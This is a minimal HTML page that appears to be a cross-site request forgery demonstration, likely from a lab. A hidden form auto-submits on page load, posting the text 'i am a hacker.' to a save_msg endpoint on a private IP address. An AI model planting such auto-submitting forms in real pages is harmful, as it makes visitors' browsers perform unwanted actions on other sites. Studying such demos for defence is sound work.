<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    
    <form method="POST" action="http://172.18.188.167:8000/save_msg" id="myForm">
        <label for="">contnet: </label>
        <input name="content" type="text" value="i am a hacker." />
    </form>


    <script>
        document.getElementById("myForm").submit();
    </script>
</body>
</html>